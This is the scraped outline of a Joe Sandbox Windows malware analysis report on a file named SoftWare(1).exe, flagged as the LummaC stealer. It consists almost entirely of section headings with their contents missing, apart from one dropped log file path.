Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report SoftWare(1).exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: LummaC

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\MpCmdRun.log

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Version Infos

Possible Origin

Network Behavior

Windows Analysis Report
SoftWare(1).exe